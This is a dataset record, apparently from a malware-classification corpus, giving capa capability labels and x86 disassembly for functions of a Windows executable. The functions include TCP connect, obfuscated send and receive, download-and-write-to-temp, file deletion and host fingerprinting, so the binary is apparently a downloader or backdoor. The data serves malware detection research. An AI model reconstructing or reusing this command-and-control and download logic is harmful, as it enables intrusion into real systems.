joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b94
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor esi, esi
mov dword [ebp - 0x80], esi
cmp ebx, esi
je 0x401c85
cmp edi, esi
je 0x401c85
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401bca
sub eax, edx
sar eax, 1
je 0x401c85
xor eax, eax
push 0x206
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push esi
push eax
call fcn.004080b0
add esp, 0xc
cmp dword [ebp + 0x19c], esi
jne 0x401c2b
cmp dword [0x418070], 3
jne 0x401c2b
mov esi, 0x104
push esi
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404595
add esp, 0xc
jmp 0x401c3b
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404595
and dword [ebp - 0x7c], 0
push 0x414fd4
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.004048e7
add esp, 0x18
cmp dword [ebp - 0x7c], 0
je 0x401c85
push dword [ebp - 0x7c]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00404bda
push dword [ebp - 0x7c]
call fcn.00404c6e
add esp, 0x14
mov dword [ebp - 0x80], esi
mov ecx, dword [ebp + 0x190]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
pop esi
call fcn.00404586
add ebp, 0x194
leave
ret

Function at 0x401d30
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
xor esi, esi
call fcn.004080b0
and dword [ebp - 0x80], esi
add esp, 0xc
test edi, edi
je 0x401dc4
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x414fb4
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00404595
push 0x414ff4
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.004048e7
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x80], 0
je 0x401dc4
push dword [ebp - 0x80]
push esi
push 0x200
push edi
call fcn.00404e4c
push dword [ebp - 0x80]
call fcn.00404c6e
add esp, 0x14
mov ecx, dword [ebp + 0x18c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404586
add ebp, 0x190
leave
ret
Function at 0x4025e0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor esi, esi
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.004080b0
add esp, 0xc
push 0x200
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.004080b0
lea eax, [ebp - 0x410]
add esp, 0xc
push eax
call fcn.00401c9e
pop ecx
test eax, eax
je 0x402709
xor eax, eax
movzx ecx, word [eax + 0x414c8c]
mov word [eax + 0x4194b8], cx
inc eax
inc eax
cmp cx, si
jne 0x402640
xor eax, eax
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x4193b0], cx
inc eax
inc eax
cmp cx, si
jne 0x402657
xor eax, eax
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x419430], cx
inc eax
inc eax
cmp cx, si
jne 0x40266f
cmp dword [0x418070], 3
mov ax, word [ebp - 0x38c]
mov word [0x4194b0], ax
mov ax, word [ebp - 0x2ea]
mov word [0x419538], ax
mov dword [0x41953c], 5
lea eax, [ebp - 0x210]
mov esi, 0x104
je 0x4026c7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x4026e4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4150c8
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404595
add esp, 0xc
push 0x414fdc
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404595
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404586
leave
ret

Function at 0x402720
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x11c
lea eax, [esp + 4]
push 0
push eax
mov dword [0x418070], 0
call fcn.004080b0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4027d9
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x40279e
mov eax, dword [esp + 8]
cmp eax, 2
jae 0x40277f
cmp eax, 1
jne 0x4027d9
mov dword [0x418070], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404586
add esp, 0x120
ret
cmp eax, 6
jne 0x4027d9
mov eax, dword [esp + 8]
test eax, eax
jne 0x4027ca
mov dword [0x418070], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404586
add esp, 0x120
ret
cmp eax, 1
jne 0x4027d9
mov dword [0x418070], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404586
add esp, 0x120
ret
Function at 0x4027f0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.004080b0
add esp, 0xc
cmp dword [0x418070], 3
jne 0x402850
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415040
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00404595
add esp, 0xc
jmp 0x40285f
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x415044
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.00404586
add esp, 0x20c
ret

Function at 0x402a40
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov dword [esp + 0x10], 0
mov word [esp + 0x14], ax
call fcn.004080b0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402c50
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00402d60
cmp eax, 0xffffffff
jne 0x402ac2
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00404586
add esp, 0x218
ret
push esi
call fcn.00402960
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00404586
add esp, 0x218
ret

Function at 0x402af0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x64
call ebp
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0x2d]
push ebx
push eax
xor esi, esi
mov byte [esp + 0x34], bl
call fcn.004080b0
add esp, 0xc
cmp edi, 0xffffffff
je 0x402bd0
xor eax, eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
push 0x200
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402bd0
mov ecx, dword [esp + 0x1f2]
mov edx, dword [esp + 0x1ee]
lea eax, [edx + ecx]
cmp eax, ebx
jbe 0x402b8d
mov esi, eax
mov eax, dword [esp + 0x202]
mov ecx, dword [esp + 0x1fe]
add eax, ecx
cmp eax, esi
jbe 0x402ba3
mov esi, eax
mov edx, dword [esp + 0x212]
mov eax, dword [esp + 0x20e]
add eax, edx
cmp eax, esi
jbe 0x402bb9
mov esi, eax
mov ecx, dword [esp + 0x222]
mov edx, dword [esp + 0x21e]
lea eax, [edx + ecx]
cmp eax, esi
jbe 0x402bd0
mov esi, eax
push 0x64
call ebp
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404586
add esp, 0x228
ret
Function at 0x402bf0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x402c44
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret

Function at 0x402ea0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x4150cc
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.004048e7
add esp, 0xc
test eax, eax
je 0x402ec4
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0040543e
mov eax, dword [esp + 0x1c]
push eax
call fcn.00405660
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov edi, eax
call fcn.0040543e
mov edx, dword [esp + 0x38]
lea ebp, [edi + edx]
push ebp
call fcn.0040525c
mov esi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push edi
push esi
call fcn.00404bda
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00404c6e
mov eax, dword [esp + 0x50]
lea ebx, [esi + edi]
call fcn.00402f80
mov edx, dword [esp + 0x4c]
push 0x4150d4
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.004048e7
add esp, 0x40
test eax, eax
je 0x402f45
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push esi
call fcn.00404e4c
mov edx, dword [esp + 0x20]
push edx
call fcn.00404c6e
add esp, 0x14
test esi, esi
je 0x402f6d
push esi
call fcn.00405326
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x403560
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4035d9
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x4035b1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x4035e2
cmp ebx, 3
jb 0x403575
mov edi, 0xfffffffd
test esi, esi
je 0x4035d1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x4035bc
mov eax, esi
test esi, esi
je 0x40364e
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x4035fc
cmp dword [eax + 0x1c], 0
jne 0x403607
mov eax, dword [eax + 8]
test eax, eax
jne 0x4035f1
xor edi, edi
jmp 0x4035c1
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x4035c1

Function at 0x403890
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.004039c0
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40399e
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004080b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.004080b0
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x418e30
cmp word [esi], 0
je 0x40393e
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.00404612
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00404595
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x403908
mov esi, 0x418e30
cmp word [esi], 0
je 0x403962
push ebx
push edi
push esi
call fcn.00404220
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x403951
push 0x419bc0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00404595
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40399c
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.00404586
add esp, 0x41c
ret
Function at 0x403bd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403bfb
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403c30
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404586
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403c18
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403c6c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x403cc5
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403cc5
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404586
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x403cd4
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00404586
add esp, 0x9b0
ret

Function at 0x403e30
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x403eb2
cmp edi, eax
jle 0x403e5d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x403e50
lea ebx, [edi + 7]
push ebx
call fcn.004058af
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x418074]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x418078]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00408c70
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403eb6
cmp eax, ebx
jne 0x403eb6
mov dword [esp + 0xc], 1
jmp 0x403eb6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x403ec3
push esi
call fcn.00405c7a
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404090
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x4040d1
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4041ed
test edx, edx
je 0x4041ed
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.004080b0
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404205
test eax, eax
je 0x404205
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.004058af
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4041db
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4041b9
test eax, eax
je 0x4041b9
add esi, eax
cmp edi, esi
jg 0x404144
cmp esi, 5
jl 0x4041db
mov ecx, dword [0x418074]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x4041db
mov dl, byte [ebx + 4]
cmp dl, byte [0x418078]
jne 0x4041db
test esi, esi
jle 0x40419c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404190
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x4041c1
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408c70
mov dword [edi], esi
jmp 0x4041d0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4041db
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408c70
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4041e8
push ebx
call fcn.00405c7a
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00404586
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00404586
add esp, 0x8d8
ret
Function at 0x404220
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe28
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0xe24], eax
mov eax, dword [esp + 0xe30]
push ebx
push ebp
mov ebp, dword [esp + 0xe34]
push esi
push edi
push 0x400
lea ecx, [esp + 0x234]
push 0
push ecx
mov dword [esp + 0x30], eax
call fcn.004080b0
add esp, 0xc
push ebp
lea edx, [esp + 0x234]
push 0x1ff
push edx
call fcn.00404612
mov eax, ebp
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404280
sub eax, edx
sar eax, 1
lea edi, [esp + eax*2 + 0x232]
mov ecx, pe_nt_image_headers32
mov esi, 0x4199c0
mov eax, ebp
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4042a7
sub eax, edx
sar eax, 1
push 0x10000
lea ebx, [eax + eax + 0x202]
call fcn.0040525c
add esp, 4
push 0x10000
xor esi, esi
mov ebp, eax
push esi
push ebp
call fcn.004080b0
add esp, 0xc
push 0x7fe
lea ecx, [esp + 0x636]
xor eax, eax
push esi
push ecx
mov dword [esp + 0x28], 0x10000
mov word [esp + 0x63c], ax
call fcn.004080b0
add esp, 0xc
push 0x206
lea eax, [esp + 0x2e]
xor edx, edx
push esi
push eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
mov word [esp + 0x34], dx
call fcn.004080b0
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esp + 0xe44]
mov edi, dword [esp + 0x24]
lea edx, [esp + 0x630]
push edx
push eax
lea esi, [esp + 0x20]
call fcn.00403bd0
add esp, 8
test eax, eax
je 0x404419
lea ecx, [esp + 0x630]
push ecx
push ebx
push 0xbba
lea ecx, [esp + 0x23c]
mov edx, esi
call fcn.00403cf0
add esp, 0xc
test eax, eax
je 0x404419
lea edx, [esp + 0x630]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, ebp
mov edx, esi
call fcn.00403ed0
add esp, 0xc
test eax, eax
je 0x404419
mov edx, 0xbba
cmp word [esp + 0x20], dx
jne 0x404419
cmp dword [esp + 0x1c], 0
je 0x404419
cmp byte [ebp], 0
jne 0x404419
push 0x419bc0
lea eax, [esp + 0x2c]
push 0x104
push eax
call fcn.00404595
add esp, 0xc
push 0x415184
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], 0
call fcn.004048e7
add esp, 0xc
cmp dword [esp + 0x14], 0
je 0x404411
lea eax, [esp + 0x14]
push eax
mov edi, esi
call fcn.00404460
add esp, 4
mov dword [esp + 0x14], 1
test ebp, ebp
je 0x404426
push ebp
call fcn.00405326
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x404435
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0xe34]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404586
add esp, 0xe28
ret
Function at 0x404460
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.0040ebc0
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x4044b8
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00404586
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x4044f7
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x4044f6
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00404e4c
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x4044c0
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00404c6e
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00404586
add esp, 0x100c
ret

Function at 0x404586
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41704c]
jne 0x404590
repz ret
jmp fcn.00405f18
Function at 0x40efcf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409d34
and dword [ebp - 4], 0
cmp dword [0x418b2c], 0
mov ebx, eax
jne 0x40f080
push 0x413b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f131
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x413b84
push edi
call esi
test eax, eax
je 0x40f131
push eax
call fcn.00409cc2
mov dword [esp], 0x413b74
push edi
mov dword [0x418b2c], eax
call esi
push eax
call fcn.00409cc2
mov dword [esp], 0x413b60
push edi
mov dword [0x418b30], eax
call esi
push eax
call fcn.00409cc2
mov dword [esp], 0x413b44
push edi
mov dword [0x418b34], eax
call esi
push eax
call fcn.00409cc2
pop ecx
mov dword [0x418b3c], eax
test eax, eax
je 0x40f080
push 0x413b2c
push edi
call esi
push eax
call fcn.00409cc2
pop ecx
mov dword [0x418b38], eax
mov eax, dword [0x418b38]
cmp eax, ebx
je 0x40f0d8
cmp dword [0x418b3c], ebx
je 0x40f0d8
push eax
call fcn.00409d3d
push dword [0x418b3c]
mov esi, eax
call fcn.00409d3d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f0d8
test edi, edi
je 0x40f0d8
call esi
test eax, eax
je 0x40f0cf
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f0cf
test byte [ebp - 0xc], 1
jne 0x40f0d8
or dword [ebp + 0x10], 0x200000
jmp 0x40f111
mov eax, dword [0x418b30]
cmp eax, ebx
je 0x40f111
push eax
call fcn.00409d3d
pop ecx
test eax, eax
je 0x40f111
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f111
mov eax, dword [0x418b34]
cmp eax, ebx
je 0x40f111
push eax
call fcn.00409d3d
pop ecx
test eax, eax
je 0x40f111
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b2c]
call fcn.00409d3d
pop ecx
test eax, eax
je 0x40f131
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f133
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret